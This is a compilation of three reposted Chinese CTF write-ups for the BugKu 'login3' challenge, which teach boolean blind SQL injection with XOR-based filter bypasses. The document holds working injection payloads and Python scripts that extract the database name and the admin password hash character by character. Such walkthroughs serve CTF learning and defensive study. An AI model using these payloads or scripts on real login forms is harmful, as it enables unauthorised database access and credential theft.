BugKu--login3(SKCTF) 布尔盲注 writeup

转载自:https://blog.csdn.net/zpy1998zpy/article/details/80667775

Bugku的一道题目,用到了布尔盲注,还过滤了and关键字,这里用到了^(按位异或运算),正好记录下过程和方法。总体写的有点啰嗦,但是我不想让跟我一样入门的小白看教程看到一脸懵逼。

题目地址:http://123.206.31.85:49167/index.php

随便输入了几个用户名,返回用户名不存在,并没有对密码进行检验。

那我们可以猜测是先查找用户名,如果存在,再验证密码。

那下一步呢,我试了试admin用户名,结果是存在的,返回密码错误

 

这就验证了我们的猜想,那现在注入点应该就是用户名了。

然后试试在admin后加上单引号,但是返回是用户名不存在

 

这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息,

也就不能使用报错注入了,我们发现有两种返回信息:

username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。

毕竟我也是第一次接触到这种布尔型盲注,也当是小白扫盲吧,怎么利用啰嗦几句。

我们猜测后台的验证应该是先查找我们输入的用户名是否存在,大概是:

select password,username from users where username=”我们输入的用户名”

如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成

where username=’admin’ and (substring(database(),1,1)=’a’)

如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。

但是这道题过滤了and!!!

尝试加上and返回:

 

经过尝试发现还过滤了空格,逗号,等号,for

空格用括号代替,等号用<>(一种不等号)代替

那怎么办呢,这就用上了今天介绍的异或运算^,先说一下基本规则:

1^1=0    1^0=1   0^0=0

就是说只有两个不同的布尔值运算结果为1,其他为零

不过在这里用的时候先不要按这个规则去推,因为在我们用到的三个值的布尔运算的sql语句中完全相反,我还没有搞明白,谁懂得话,给我评论下。

首先说下这里我们要补上两个布尔值,这个最后再说为什么。

先猜数据库名,基本语句

admin’^(ascii(mid(database()from(1)))<>97)^0#


解释一下为什么,为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?

这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。

每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。

如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0

返回值是username does not exist!

如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0

返回值会是password error!

这就构成了布尔报错注入。

有人可能疑问大部分的判断都是无用的,就是说可能从97尝试到120都是username does not exist!,那如何快速找到语句成立时的返回结果(password error!)。这里就是最后^0的妙用了,

因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。

补充一点,因为这里既是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果改不改返回值相同,那就是有语法错误,如果不同就可以参照上一段了。这也是为什么要多加一个^0,看似多此一举,其实好处多多。

就是说admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!

数据库名最后可以得到是:blindsql

 

下一步猜表名,表名好像没法暴力猜,因为关键词information被禁了!!!!那数据库名就没用了,哈哈哈,不过后面猜字段的值是一样的原理,不亏不亏。

没法用系统表,就不能像上面一样爆破了,真的是猜了,是admin表,语句如下

admin’^(select(1)from(admin))^1#   返回password error!说明猜对了

猜字段   admin’^(select(count(password))from(admin))^1#  返回password error!说明猜对了。

为什么要用count()呢,因为如果有多行数据也可能会报错,会干扰判断。

然后猜password的值,暴力猜解,与猜数据库类似:

admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#

得到密码的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密后登陆,得到flag

 

最后附上脚本

 
  1. import requests

  2. str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="

  3. url="http://118.89.219.210:49167/index.php"

  4. r=requests.session()

  5.  
  6. def databasere():

  7. resutlt=""

  8. for i in range(30):

  9. fla = 0

  10. for j in str_all:

  11. playlod="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))

  12. data = {

  13. "username": playlod,

  14. "password": "123"

  15. }

  16. s=r.post(url,data)

  17. print(playlod)

  18. if "error" in s.text:

  19. resutlt+=j

  20. print(resutlt)

  21. if fla == 0:

  22. break

  23.  
  24. def password():

  25. resutlt=""

  26. for i in range(40):

  27. fla=0

  28. for j in str_all:

  29. playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))

  30. data = {

  31. "username": playlod,

  32. "password": "123"

  33. }

  34. s=r.post(url,data)

  35. print(playlod)

  36. if "error" in s.text:

  37. resutlt+=j

  38. fla=1

  39. print('**************************',resutlt)

  40. if fla==0:

  41. break

  42. #databasere()

  43. password()

---------------------------------------------------------------------------------

转载自:https://blog.csdn.net/qq_35078631/article/details/69488266?locationNum=9&fps=1

提示是盲注就很简单了,构造如下

username='^(1)^1#&password=123

存在注入,猜测是盲注,然后fuzz一发发现过滤空格,用括号绕过,过滤了=,用<>饶过,mysql测试

mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>102));
+----------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(1)))<>102) |
+----------------------------------------------------+
|                                                  0 |
+----------------------------------------------------+
1 row in set (0.00 sec)

mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>103));
+----------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(1)))<>103) |
+----------------------------------------------------+
|                                                  1 |
+----------------------------------------------------+
1 row in set (0.00 sec)

然后直接脚本测试

#!/usr/bin/env python
import requests,string,hashlib,re
url='http://47.93.190.246:49167/'
sss=string.digits+string.lowercase
headers={
    'Host': '47.93.190.246:49167',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length':' 87',
    'Referer':' http://47.93.190.246:49167/',
    'Cookie': 'td_cookie=18446744071856012820',
    'Connection':' keep-alive',
    'Upgrade-Insecure-Requests':' 1'
}
answer=''
for i in range(1,50):
    flag=0
    for j in sss:
        postuser="'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#"%(i,ord(j))
        data = {'username':postuser,'password':'admin'}
        html = requests.post(url,headers=headers,data=data) .text
        html = re.findall(r"

(.*?)

",html,re.S)[0] if 'username does not exist!' in html : answer+=j flag=1 print answer break if flag ==0 : break print 'password is ',answer

之后得出password解密得到密钥,登陆得到flag

-----------------------------------------------------------------

转载自:http://www.bugku.com/thread-82-1-1.html

盲注题,直接上脚本
```python
import requests
url = 'http://123.206.31.85:49167/index.php'
s = requests.Session()
result = ''
for i in range(1,33):
    for j in range(48,123):
        payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i,j)
        data = {"username":payload,"password":"123"}
        r = s.post(url,data=data)
        if "password error!" in r.content:
            result += chr(j)
            print result
            break
print "password: "+result
```

你可能感兴趣的:(BugKu--login3(SKCTF) 布尔盲注 writeup)